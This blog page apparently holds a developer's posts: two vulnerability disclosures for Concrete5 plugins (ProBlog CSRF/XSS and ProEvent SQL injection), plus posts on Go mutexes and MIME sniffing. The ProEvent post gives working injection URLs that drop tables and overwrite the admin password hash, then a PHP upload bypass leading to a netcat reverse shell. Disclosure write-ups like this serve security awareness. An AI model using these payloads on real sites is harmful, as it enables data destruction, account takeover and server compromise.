Recent Posts

: Programming : Life : Economics :


Hacking Concrete5 – ProBlog 2.6.6 & ProEvent 2.8.5 (CSRF, XSS, Side Effects)

Posted on May 23, 2016


  • I talk about the last C5 plugin exploit I found
  • The CSRF & XSS exploit
  • Side Effects
  • Hackerone
  • Suggestions
  • Timeline

Last Time

My last security report (here) concerned the ProEvents Concrete5 plugin. After the Portland Labs team reviewed the developer’s plugins, they posted on their blog that they were unable to find any further vulnerabilities.Screen Shot 2016-05-22 at 10.33.52 PMI figured I would take a crack at it and see what I could find. I also hoped that the new security policies in place would allow for a smoother disclosure process.


Because the ProBlogs plugin does not validate the anti-csrf token on a POST request. A victim who is logged in could be fooled into clicking a malicious form (styled to look like a link, image, etc) which would create a page in their C5 website.

Because the ProBlogs plugin does not validate the parent cID asserting it is the actual Blog, the attacker could potentially place the page anywhere on the C5 site map tree.


You can easily style the following form below to look like an image or link. From there, social engineering or phishing techniques have a high probability of allowing someone to succeed with the attack.

  <form method="post" action="" id="blog-form">
  <input type="hidden" name="front_side" value="1">
  <input type="hidden" name="blogTitle" value="hack">
  <input type="hidden" name="blogDescription" value="hack">
  <input type="hidden" name="draft" value="0">
  <input type="hidden" name="blogBody" value="JAVASCRIPT_PAYLOAD_HERE">
  <input type="hidden" name="blogDate" value="2016-03-19">
  <input type="hidden" name="blogDate_h" value="5">
  <input type="hidden" name="blogDate_m" value="30">
  <input type="hidden" name="blogDate_a" value="PM">
  <input type="hidden" name="cParentID" value="0">
  <input type="hidden" name="ptID" value="1">
  <input type="hidden" name="akID[0][value]" value="1">
  <button type="submit">Add Post</button>

Side Effects

When a user clicks on our image or link the screen that is returned alerts them with a flash message of the successful update. But there is a side effect to this attack we can leverage. Just like many CMS products, C5 tends to leak page IDs. We can use this knowledge to create the page with our javascript payload anywhere on the site the user has permission because the Plugin(s) is not asserting the parent page.

Just change the value of the parent, to something desired. Then even if the user gets a successful flash response and they go digging in their blog section, they would not find our newly created page containing our malicious javascript code. They’d have to dig into their sitemap. Obviously we would name the page “Marketing” or something more suitable.

  <input name="cParentID" type="hidden" value="0" />



Although I only reported the issues with the ProBlog plugin, the developer communicated promptly and then proactively fixed the issues in both of his plugins within three hours. As a customer I greatly appreciate this and as a researcher I appreciate the developer’s commitment to security.


Unlike the previous report, HackerOne was utilized this time. I do think it helped the communication. The critical bit for me about HackerOne is that just because I’m reporting something using the vendor’s desired channel doesn’t mean I am agreeing to their specification for “Responsible Disclosure.” I believe HackerOne hasn’t really solved this.


My submission required that I put the word “crayons” in the body and I missed it because it wasn’t in the “Requirements” section. I’m not the only reporter who has missed this. I’d remove it.

I’d remove the wall of text and just put a template of what you require.

As soon as the issue is fixed and the patch is on the marketplace, I’d recommend the issue be disclosed. My opinion is that all should get the information equally.

I believe that all comments for the exploit should be visible so that others can learn from the conversation. Both in how to disclose a vulnerability and also in thinking about how to code solutions to protect their own projects.

I also wanted to see a notification channel so that users can subscribe and be alerted (email, blog). PortlandLabs did take this suggestion and create a security blog but my post is up and their blog has no mention as of yet (link). I think the community should get this information as quickly as possible in an easily consumable format.


  • 20160422 – Disclosed via HackerOne and (
  • 20160422 – Developer fixed issues in < 3 hours and posting the new version online
  • 20160522 – Issue publicly disclosed 30 days after report
Screen Shot 2016-04-13 at 2.19.51 PM

When Security Reports Go Ignored – Hacking Concrete5’s ProEvent Plugin

Posted on April 13, 2016


In this post I will walk you through the vulnerability discovery in a php plugin. This combined with some interesting side effects in Concrete5 itself, will allow us to develop an exploit to open a remote shell.

  • Concrete5.7.5.6
  • ProEvent Plugin 2.8.1
  • Ubuntu 14.04 with standard LAMP install

SQL Injection Discovery

In January of 2016 I was reviewing the ProEvent Concrete5 plugin that I had purchased and stumbled across a major vulnerability. I notified a developer on the plugin review team who had a relationship with the ProEvent plugin developer. I included two Gists. One showing the issue, the other a patch where I fixed the problem.

Months passed and I forgot about it.

On Monday I was troubleshooting a different bug I had found in Concrete5’s core. But it got me thinking, whatever happened with that SQL injection bug in the ProEvent plugin? I went and downloaded the latest version and grep’d through it. Sure enough, the vulnerability was still there.

I figured the information never was passed along. After reviewing the C5 security reporting page (which has since been updated), there wasn’t a clear path on how to report a plugin vulnerability. So I started a conversation on the forum. I wasn’t thinking it would lead to much drama. More along the lines of what someone should do next time they discover a vuln in a plugin.

What I learned really concerned me. It turns out the plugin developer was notified on February 1st but never acted on the information.


There was also a response on the forums from Portland Labs stating their position on such matters.

“If it’s really bad enough, we’d absolutely pull the listing and jump through some hoops to send an email to people who might have the listing installed.”

As of today the plugin is still available and has been updated with my patch on the marketplace. I don’t know if people will be alerted so I figured I’d take the time to walk through the vulnerability and educate everyone.


Get a Linux LAMP stack setup (Ubuntu 14.04.4 for simplicity)

Install Concrete5

Screen Shot 2016-04-13 at 1.51.25 PM

Install ProEvents <=2.8.1

Screen Shot 2016-04-13 at 2.07.19 PM


Backup your Database

backwardselvis@c5:~$ mysqldump -uroot -p c5_pwn > c5.orig.sql
Enter password:

Enable logging and tail the log files

backwardselvis@c5:/etc/mysql$ sudo vi my.cnf
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file = /var/log/mysql/mysql.log
general_log = 1
backwardselvis@c5:/etc/mysql$ tail -f /var/log/mysql/mysql.log


The root of the issue is a function called eventIs(). As this is a calendaring plugin the function tries to deduce what day of the month an event falls on. It does this by using a sql query.

     * Checks a particular day and returns true or false if an event exists.
    public function eventIs($date, $category, $section = null, $allday = null)
        $categories = explode(', ', $category);
        $category_q = '';
        $query_params = array();
        $i = 0;
        if (!in_array('All Categories', $categories)) {
            foreach ($categories as $cat) {
                $cat = str_replace('&', '&', $cat);
                if ($i) {
                    $category_q .= "OR ";
                } else {
                    $category_q .= "AND (";
                $category_q .= "category LIKE '%$cat%' ";
            $category_q .= ")";
        } else {
            $category_q = '';
        if ($section != null) {
            $section = "AND section LIKE '%$section%'";
        } else {
            $section = '';
        if ($allday != null) {
            $allday = "AND allday LIKE '%$allday%'";
        } else {
            $allday = '';
        $db = Loader::db();
        $events = array();
        $q = "SELECT * FROM btProEventDates WHERE DATE_FORMAT(date,'%Y-%m-%d') = DATE_FORMAT('$date','%Y-%m-%d') $category_q $section $allday";
        $r = $db->query($q);

You can see that the query building portion concatenates the variables directly into the SELECT statement. This means that the statement is not prepared. Upon realizing this, I grep through the directory looking for every place this function is called.

$ grep -nr "eventIs(" ./
.//src/Models/EventList.php:505:    public function eventIs($date, $category, $section = null, $allday = null)
.//views/ajax/pro_event_list/calendar_dynamic.php:118:        if ($el->eventIs($daynum, $ctID, $section) == true) {
.//views/ajax/pro_event_list/calendar_responsive.php:156:    $ei = $el->eventIs($daynum, $ctID, $section);
.//views/ajax/pro_event_list/calendar_small.php:144:    $ei = $el->eventIs($daynum, $ctID, $section);
.//views/ajax/pro_event_list/calendar_small_array.php:160:        $ei = $el->eventIs($daynum, $ctID, $section);

I know that the function is defined in EventList.php so I proceed to dig into calendar_dynamic.php. Unfortunately, the values are being pulled from the database and passed to eventIs() so there isn’t any foot hold there.

Moving on…

I open up calendar_small.php and I see the following.

  $sctID = $request->get('sctID');
  $ctID = $request->get('ctID');
  $bID = $request->get('bID');

And further down.

if ($sctID != 'All Sections') {
  $section = $sctID;

And still further down.

  $ei = $el->eventIs($daynum, $ctID, $section);

Bingo. The values $ctID and $section are passed to eventIs() with no sanitization.

Upon installation of ProEvents all the routes get created and installed. That means that even if you don’t have the template/view for that part of the plugin activated on a page of your site, you are absolutely still vulnerable. So issuing a request to the calendar_small route will work.

Enter this into your browser or use a cli tool.;%20drop%20table%20Users;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true

Makes the following appear in the mysql logs.

SELECT * FROM btProEventDates WHERE DATE_FORMAT(DATE,'%Y-%m-%d') = DATE_FORMAT('2016-05-31','%Y-%m-%d') AND (category LIKE '%%' ) AND SECTION LIKE '%'; DROP TABLE Users; SELECT * FROM pages WHERE cID ='%'

And then I can run a quick select.

backwardselvis@c5:/var/log$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 51
Server version: 5.5.47-0ubuntu0.14.04.1-log (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use c5_pwn;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from users;
ERROR 1146 (42S02): Table 'c5_pwn.Users' doesn't exist

SWEET! I know I can mess with the database.

Now restore the database and lets keep going.

Diving in

After this, it got me thinking, what else can I do? How about setting the password to empty.;%20update%20Users%20set%20uPassword=%27%27%20where%20uName=%27admin%27;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true
mysql> select uName, uEmail, uPassword from Users;
| uName | uEmail             | uPassword |
| admin | |           |
1 row in set (0.00 sec)

What if I want to login. Lets take a bcrypted salt/hash from another installation and update the admin user’s.;%20update%20Users%20set%20uPassword=%27$2a$12$zkjyqBpTXbYmjGf7QSgqyeskvNponQ86jMWE1tqv6eCb588/MqS9u%27%20where%20uName=%27admin%27;%20select%20*%20from%20pages%20where%20cID%20=%27&year=2016&month=05&dateset=true
mysql> select uName, uEmail, uPassword from Users;
| uName | uEmail             | uPassword                                                    |
| admin | | $2a$12$zkjyqBpTXbYmjGf7QSgqyeskvNponQ86jMWE1tqv6eCb588/MqS9u |
1 row in set (0.00 sec)

I attempt to login with user = admin and password = concretepwn. I succeed.

Lets go deeper

I can login! But now what? Unfortunately Concrete5 only allows you to download plugins from their marketplace. So unlike wordpress where I could directly manipulate the php files, I don’t appear to be able to do that here. But I do find something interesting.

On the allowed file upload screen I append the php filetype to the end.
Screen Shot 2016-04-13 at 2.07.19 PMI then upload a standard php reverse shell script.

Screen Shot 2016-04-13 at 2.07.19 PM

I run the url in the browser.
➜  ~ sudo nc -l 11234
Linux c5 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 18:34:50 up  4:34,  2 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
backward pts/0      14:01    1:50m  0.82s  0.02s sshd: backwardselvis [priv]
backward pts/3      16:51    2:10   0.16s  0.16s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off



  • Notification sent to plugin developer on February 1st 2016
  • Developer ignore’s report
  • Forum post initiated on April 11th, 2016
  • Developer silently applied the supplied patch, verbatim, on April 13th 2016
  • No communication to the plugin’s user base has been sent
  • CVE was denied because the vendor isn’t supported
  • Concrete5’s marketplace only reviews the initial plugin. Subsequent reviews for updates are not performed. Buyer beware.


This shows what you can do when you find one vulnerability. Chaining the other weak points (same password hashing scheme, file uploads executable) allowed me to own a standard LAMP ubuntu install.

It also is a reminder to me that you can’t depend on people to update their code. Best to cast some light on things and get everything out in the open.


Understanding When To Use Channels Or Mutexes In Go

Problem Domain

Community “Share Memory By Communicating”
Interpretation “CHANNEL ALL TEH THINGZ!”

Because many developers come from backgrounds (Php, Ruby, Perl, Python) where unlike Go, concurrency is not a first class citizen, they struggle when learning about it. But they apply themselves and take the time to dig into Go’s concurrency model. And just as they finally feel they’ve come to grips, something painful happens. The developer decides to use their new found super-power (goroutines + channels) for absolutely everything and it suddenly becomes an anti-pattern.

External Confirmation

I’m not the only one who has noticed. In the discussion below Andrew warns about the overuse of channels to keep state in goroutines.

“Hey, concurrency is great, but all this needs is a mutex”

Also, in the following interview between Andrew and Dave. Andrew asks Dave to give an example of when he wrote some bad code and Dave mentions specifically about using too many channels.

“…and I tried to use channels for everything, if you want to talk about worst code…”


When I created BadActor, I needed it to help me in identify malicious activities against my systems so that I could respond to them. I set out to solve my problem (and gain proficiency with Go) and I envisioned this grand design where everything was a goroutine and communication would happen only through channels and I would never need another mutex ever again. (Hah!)

It sounded great in theory. But the composition was cumbersome and holy crap did the Benchmarks suck. I didn’t think too much of this. I thought that it was just me misunderstanding on how to use channels in Go. So I hunkered down and persisted with my design for a while until I learned better. When I realized my error, I rewrote large portions of my codebase.

Coding Horror

Below is an old commit of BadActor‘s where originally I had architected the exact model that Andrew and Dave spoke about. Many goroutines, each with their own channel(s), combined with message types to define the behavior of the communication. I leave them here so you can hopefully learn from my mistake.

Here is the Actor’s goroutine with its open channel.

func (a *Actor) Run() {
	go func() {
		for {
			select {
			case in := <-a.Incoming:

And here is the awkward Type checking that Andrew warns about.

func (a *Actor) switchBoard(in *Incoming) {
	switch in.Type {
		err := a.rebaseAll()
		in.Outgoing <- &Outgoing{Error: err}
		err := a.infraction(in.RuleName)
		in.Outgoing <- &Outgoing{Error: err}
		err := a.createInfraction(in.Infraction)
		in.Outgoing <- &Outgoing{Error: err}
	case STRIKES:
		total := a.strikes(in.RuleName)
		in.Outgoing <- &Outgoing{Message: strconv.Itoa(total)}
	case IS_JAILED:
		res := a.isJailed()
		in.Outgoing <- &Outgoing{Message: strconv.FormatBool(res), Error: nil}
		res := a.isJailedFor(in.RuleName)
		in.Outgoing <- &Outgoing{Message: strconv.FormatBool(res), Error: nil}

Practical Example – Mutex

If I synchronously need to solve for (x) and I just have one input, then I protect it with a mutex. I do not implement channels and goroutines just to protect the state of some asset.

Example: A cache takes one key (k) to gather one value (x).

Below is a very naive cache and http server I created to help you understand.

We start by creating our main.go file.

$ vi main.go

Then we import the needing packages (thanks goimport).

package main
import (

Next we define our NaiveCache and define some getter/setter methods.

// NaiveCache
var c *NaiveCache
type NaiveCache struct {
  mu      sync.Mutex
  storage map[string]string
func (c *NaiveCache) Value(k string) (string, error) {
  var v string
  if v, ok :=[k]; ok {
    return v, nil
  return v, fmt.Errorf("Value Not Found")
func (c *NaiveCache) SetValue(k string, v string) {[k] = v

Here we implement the server giving it a handler and two helper functions, get() and post().

// Server
func NaiveCacheHandler(w http.ResponseWriter, r *http.Request) {
  switch r.Method {
  case "GET":
    get(w, r)
  case "POST":
    post(w, r)
func get(w http.ResponseWriter, r *http.Request) {
  id, err := url.QueryUnescape(r.URL.Query().Get("key"))
  if err != nil {
    b := []byte(fmt.Sprintf("%v StatusBadRequest", http.StatusBadRequest))
  v, err := c.Value(id)
  if err != nil {
    b := []byte(fmt.Sprintf("%v StatusNotFound", http.StatusNotFound))
func post(w http.ResponseWriter, r *http.Request) {
  k := html.EscapeString(r.FormValue("key"))
  v := html.EscapeString(r.FormValue("value"))
  if len(k) == 0 || len(v) == 0 {
    b := []byte(fmt.Sprintf("%v StatusBadRequest", http.StatusBadRequest))
  c.SetValue(k, v)
  b := []byte(fmt.Sprintf("%v StatusOK", http.StatusOK))

Ending with the main function which gets called upon running our compiled application.

// Main
func main() {
  // init the cache
  c = &NaiveCache{storage: make(map[string]string)}
  // start the server
  http.HandleFunc("/cache", NaiveCacheHandler)
  log.Fatal(http.ListenAndServe(":9090", nil))

Run the application.

$ go run main.go

And submit some curl requests to see it work.

$ curl -X GET http://localhost:9090/cache\?key\=somekey
404 StatusNotFound
$ curl --data "key=somekey&value=somevalue" http://localhost:9090/cache
200 StatusOK
$ curl -X GET http://localhost:9090/cache\?key\=somekey
$ curl -X GET http://localhost:9090/cache\?key\=somekey


Don’t worry about failing, everyone learns when they fail so go ahead and dive in and start building something in Go. But remember, if you feel like you are fighting your design and you notice that you are primarly using channels to protect state, then hey, concurrency is great, but all you need is a mutex.

How to get punched in the face by Go’s Standard Library (and arguably my own stupidity)

Posted on June 23, 2014

Ever have one of those days? A “I forgot to add a semi colon to terminate a line” type of day? Yeah, me too. And today was one of them.

Many developers, when allowing user uploaded data, tend to trust the web browser’s headers a little too much. I prefer to use MIME Type sniffing on the actual binary stream. This gives me a greater level of assurance that I’m not allowing a user to upload a different type of file than the one I desire. Say an executable binary with which to do my application damage.

I’ve been using using the net/http/sniff/DetectContentType function in the Go standard library to do this type of detection on images.

func ValidateImageType(b []byte) (string) {
  m := http.DetectContentType(b)
  switch m { 
  case "image/jpeg":
    return "jpg"
  case "image/png":
    return "png"
  case "image/gif":
    return "gif"
  return ""

It works wonderfully.

Today I figured I’d implement mp4 detection so as to detect videos. I snagged a video file off of my Note 2 and created a quick test.

func ValidateVideoType(b []byte) (string) {
  m := http.DetectContentType(b)
  switch m { 
  case "video/mp4":
    return "mp4"
  return ""

This didn’t work and I headed over to the documentation. After reading the function’s signature, I was pretty sure I was using it correctly. Suspecting that my mp4 was corrupt I went and opened up the file in a hex editor.


Comparing it to the living specification, it appeared correct. But just in case the file was in fact corrupt, I went out and found a test mp4 file from Unfortunately this file also failed.

Knowing that I was using the function correctly, and that the file was intact, I headed over to review the sniff.go source file.

package main
import (
func main() {
  var total int
  var ext string
  buf := make([]byte, 512)
  fi, err := os.Open("./sample_mpeg4.mp4")
  if err != nil {
  defer fi.Close()
  for {
    n, err := fi.Read(buf)
    total = total + n
    if n == 0 {
    if err == io.EOF {
    if err != nil {
    if n == 512 {
      data := buf[:n]
      if len(data) &lt; 8 {
      boxSize := int(binary.BigEndian.Uint32(data[:4]))
      if boxSize%4 != 0 {
      if len(data) &lt; boxSize {
      if !bytes.Equal(data[4:8], []byte("ftyp")) {
      for st := 8; st &lt; boxSize; st+=4 {
        if st == 12 {
        seg := string(data[st : st+3])
        switch seg {
          case"mp4", "iso", "M4V", "M4P", "M4B":
            ext = "mp4"
        if len(ext) &gt; 1 {
      m := http.DetectContentType(buf)
      log.Println("LOCAL: ", ext)
      log.Println("SOURCE: ", m)

Bizarrely, the local version found the desired file type. Wuuuuuuuu?!?

I wondered if it was my OSX environment so I spun up a linux box, downloaded the Go source, and dove into the source code.

Making sure I was at least starting off in the right direction, I ran the bash script go/src/all.bash and all the tests completed successfully. I went to the sniff_test.go file and found this test dataset commented out.

        //{"MP4 video", []byte("\x00\x00\x00\x18ftypmp42\x00\x00\x00\x00mp42isom&lt;\x06t\xbfmdat"), "video/mp4"},

Hmmmmm, that looked interesting. So I uncommented the code and ran the tests again. THEY FAILED! It wasn’t what I wanted, but at this point I’ll take anything.

Knowing I was close I did a recursive grep for the function signature in question to see what was using it.

backwardselvis@lts-linux:~/go/src$ grep -nr "mp4Sig" ./
./pkg/net/http/sniff.go:102:	//mp4Sig(0),
./pkg/net/http/sniff.go:164:type mp4Sig int
./pkg/net/http/sniff.go:166:func (mp4Sig) match(data []byte, firstNonWS int) string {

And immediately, my face struck my palm and my head hit my keyboard.

I opened up sniff.go. The EXACT SAME FILE that I’d been staring at all day and uncommented line 102. Saved, quit, and upon running the tests again they all passed successfully.

So there you have it. An unimplemented feature and traversing old VC subtrees leads to a bad day. Make sure you actually review the source you are working on.


Older Posts